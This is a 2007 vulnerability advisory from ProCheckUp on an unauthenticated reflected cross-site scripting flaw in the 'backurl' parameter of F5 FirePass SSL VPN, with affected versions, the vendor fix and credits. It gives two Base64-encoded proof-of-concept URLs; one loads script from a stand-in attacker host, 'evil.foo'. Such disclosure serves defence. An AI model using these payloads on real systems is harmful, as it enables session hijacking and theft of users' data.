PR07-13: Cross-site Scripting / HTML injection on F5 FirePass 4100 SSL VPN 'download_plugin.php3' server-side script

Date Found: 19th June 2007

Severity: Medium/High

BID: 26412

Successfully tested on: version 5.5.2

F5 Networks has confirmed the following versions to be vulnerable:

FirePass versions 5.4 - 5.5.2
FirePass versions 6.0 - 6.0.1

Description:

F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "backurl" parameter processed by the "download_plugin.php3" server-side script.

No authentication is required to exploit this vulnerability.

Consequences:

An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.

XSS Proof of concept (PoC) URLs:

https://target.tld/download_plugin.php3?
js=&backurl=Ij48c2NyaXB0IHNyYz0iaHR0cDovL3d3dy5ldmlsLmZvby94c3MiPjwvc2NyaXB0PjxhIGhyZWY9Ig==

The payload is encoded in Base64, in the example it is

"><script src="http://www.evil.foo/xss"></script><a href="

which calls the malicious JavaScript code from a third-party URL ('http://www.evil.foo/xss' in this case), thus proving that scripting code can be run without restrictions of length or type of characters.

https://target.tld/download_plugin.php3?
js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i

The payload is encoded in Base64, in the example it is

"><textarea>HTML injection test</textarea><a href="

which injects a 'textarea' box.

Successfully tested on:

Server environment-

F5 FirePass 4100

Client environment-

Microsoft Internet Explorer 7.0.5730.11
Firefox 2.0.0.4

Credits: Jan Fry [jan.fry [at] procheckup.com] and Adrian Pastor [adrian.pastor [at] procheckup.com] of Procheckup Ltd

References:

www.procheckup.com/Vulnerability_2007
www.f5.com/products/FirePass

ProCheckUp thanks F5 Networks for working with us.

Fix:

F5 Networks has issued SOL7498:

https://support.f5.com/kb/en-us/solutions/public/7000/400/sol7498.html

Legal:

Copyright 2007 ProCheckUp Ltd.

All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited.

ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.